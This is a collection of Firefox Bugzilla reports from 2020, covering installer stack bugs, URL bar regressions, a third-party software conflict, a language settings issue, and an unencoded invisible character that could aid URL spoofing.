Bug: nsExec::Exec return codes are left on the stack
Status: NEW
Priority: P3
Created: 2020-04-10 22:50:55+00:00
Resolved: 2020-05-21 17:35:02+00:00

While doing another review I noticed that the [code I'd added for uninstalling the update agent](https://searchfox.org/mozilla-central/rev/06985b12a4abe393c02c6bf14d86bf3d25c33337/browser/installer/windows/nsis/uninstaller.nsi#458) (config'd off by default) fails to pop the result from calling `nsExec::Exec`. From [the doc](https://sourceforge.net/p/nsis/code/HEAD/tree/NSIS/tags/v301/Contrib/nsExec/nsExec.txt#l38):

```
Return Value
------------
If nsExec is unable to execute the process, it will return "error"
on the top of the stack, if the process timed out it will return
"timeout", else it will return the return code from the
executed process.
```

I think I had copied that line from the code that calls the maintenance service uninstaller, it really could just be an `ExecWait` since the program isn't of the console subsystem so there is no need to suppress the command window.

It looks like most other uses of `nsExec::Exec` also leave the returned value on the stack. In particular [in function un.UninstallServiceIfNotUsed](https://searchfox.org/mozilla-central/rev/06985b12a4abe393c02c6bf14d86bf3d25c33337/browser/installer/windows/nsis/uninstaller.nsi#256) we try to pop off the saved values of $0 and $1, but since the stack may have been unbalanced in between this may not work (which ends up not mattering since the caller doesn't care if $0 and $1 are preserved). In other cases the stack was probably empty at the call site anyway.

It is probably not causing any bugs now, but it might make modifications of the installer/uninstaller hazardous. I haven't done enough analysis to be confident that just adding the `Pop`s won't break something else that's accidentally relying on this, though.
Bug: Cannot access bug reports on Bugzilla.com for FireFox, even though I logged into my account. WTF?!

Steps to reproduce:

After firefox update the URL address bar text selection became hard to see. 



Actual results:

The selected text change from black to aqua color, and no highlight in the background. It's very hard to see what's selected.


Expected results:

Like in any program or in google -  the text that you select should have highlight rectangle around selected text. 
If this is new design idea from Firefox, this is downright horrible, especially for people who have hard time seeing things, and it need to be changed back to normal.

Steps to reproduce:

Clicked into address bar or open a new tab.


Actual results:

Address bar expands and partly covers the Bookmarks Toolbar. This is very unprofessional looking and makes viewing the Bookmarks Toolbar more difficult.


Expected results:

The address bar should remain the same size, there is zero advantage of making it slightly larger. The auto expand function adds code bloat and makes the UI look unprofessional. I suggest this function be completely removed from Firefox.

I know I can use about:config and set the browser.urlbar.update1 to false, but this bug report has been created so that this function can be eliminated from Firefox.

Bug: Firefox 75 no longer able to load content with Netsupport School present

Resolution: FIXED
Created: 2020-04-12 11:44:58+00:00
Resolved: 2020-04-23 14:38:18+00:00

After the release of Firefox 75 we got a number of reports that Firefox is no longer functional (not able to load content or internal pages and not properly closing), similar to the symptoms of bug 1610790 and bug 1614885:
https://support.mozilla.org/en-US/questions/firefox?owner=all&tagged=bug1629361&show=all

A user has linked this to the presence of the external Netsupport School software on an affected system. I could reproduce that by installing a [trial version](https://www.softpedia.com/get/Others/Home-Education/NetSupport-School.shtml) of the tool, afterwards Firefox turned unfuctional - this problem regressed with the changes from bug 1615308.

Bug: Unable to remove language from languages list

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0

Steps to reproduce:

I've seen that my native language is sent out in every single request after looking into the dev tools for an other reason, so I wanted to remove my native language from Firefox to use it in English

In the following I'll give you the steps I wanted to do, but the names may not be accurate, because despite being English set for the default language the major part of the browser is still shown in my native language
1. Open the hamburger menu on the top right, below the close window button
2. Choose settings
3. At General\Language and Appearance\Language click Set Alternatives
4. Click on my native language (second in the list, first is "English (United States)"

Also, if I could have a suggestion, I've almost missed the version selector above this box. It's set correctly, because the browser is up to date, but otherwise it could easily be submitted with a wrong version number. I think it would be better if it wouldn't have a version selected by default, and it would warn the user before submitting to select a version


Actual results:

The remove button is greyed out and unclickable. I'm unable to remove my language


Expected results:

The remove button should be clickable, it should remove my language, after a browser restart it should be totally removed.
Also, selecting English as the primary language should make everything English inside the browser. I suspect that the button is greyed out because the browser knows that it's actually in use.

Furthermore, if it helps, the language that I can't remove was installed and used for a very long time, it's the language with which Firefox was installed. The English language.. I don't really remember when did I install it, but it's been at least half a year

Bug: [regression] Firefox on Linux selects URL text on focus in URL bar

Steps to reproduce:

1. Click in URL bar


Actual results:

1. URL text is selected


Expected results:

URL text should not be selected.

This is a regression from Firefox 74, where the URL text was not selected.

I understand why this behaviour makes sense on Windows or Mac OS as they have no X copy buffer, but it is terrible on Linux. If you want to copy the current URL into the X copy buffer in Firefox 75, this is the process now:

1. click into URL bar (text is selected but not copied)
2. pause a moment so it's not a double click
3. click into URL bar again (text is unselected)
4. pause a moment again so it's not a double click
5. double click at the beginning of the URL and drag to the end (text is copied)

This is really inconvenient for what is a pretty common operation, especially compared to what it used to be:

1. double click anywhere in the URL bar (text is copied)

I had a quick look through about:config and preferences, but I couldn't see any way to disable this new behaviour. Please consider adding a toggle for the select on focus behaviour even if it's on by default.

**Affected platforms**
* Windows 10, macOS 10.15.3, Ubuntu 18.04;

**Expected result**
* elements are displayed properly;

**Actual result**
* separators for highlight icon overlap, the opacity is affected causing dots of harder colour intensity;

**Enhancement suggestion**
* cut separator lines before they reach the circle so they won't overlap anymore;

**Regression range**
* will check and provide one if needed;
* at first glimpse checking with older builds such as 62.0.3 shows the same design so inclined to say it's not one;

When starting Firefox so that it restores a session and loads a web page, quantumbar looks like it is focused, even though focus is in the content area.
Getting quantumbar to look like normal (small) requires one to focus something else in the chrome, for example search field if that is visible.

Steps to reproduce:

invisible charaters such as "space" are usually converted into code when they come after the URL for example, http://google.com/%20%20%20%20%20%20%20%20%20%20%20%20%20%20index.html

There are some characters such as “⠀” (U+2800) which are not converted into code when added after the URL which may lead to URL spoofing using RTL characters since this area is really a messy area.


Actual results:

Shown as a blank space


Expected results:

Shoud be converted into code.
